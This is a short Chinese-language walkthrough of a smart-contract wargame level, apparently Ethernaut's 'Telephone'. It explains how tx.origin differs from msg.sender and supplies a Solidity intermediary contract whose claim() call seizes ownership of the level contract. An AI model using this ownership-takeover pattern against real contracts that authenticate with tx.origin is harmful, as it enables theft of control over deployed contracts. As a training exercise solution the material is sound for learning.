本關主要是為了指出tx.origin跟msg.sender的分別,當以智能合約呼叫智能合約時,msg.sender在被呼叫智能合約中,會是呼叫者智能合約的地址,而tx.origin則是最初呼叫智能合約的個人錢包地址。
首先打開Console (F12),輸入
> instance
下方會回傳當前關卡合約地址。
然後打開Remix IDE,新建檔案Telephone.sol貼上:
pragma solidity ^0.6.0;
import './SafeMath.sol';
interface ITelephone {
function changeOwner(address _owner) external;
}
contract Telephone {
using SafeMath for uint256;
address levelInstance;
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
function claim() public {
ITelephone(levelInstance).changeOwner(msg.sender);
}
}
在constructor填入關卡合約地址後發佈。
在Remix IDE中,呼叫claim函數。最後按提交,本關完成。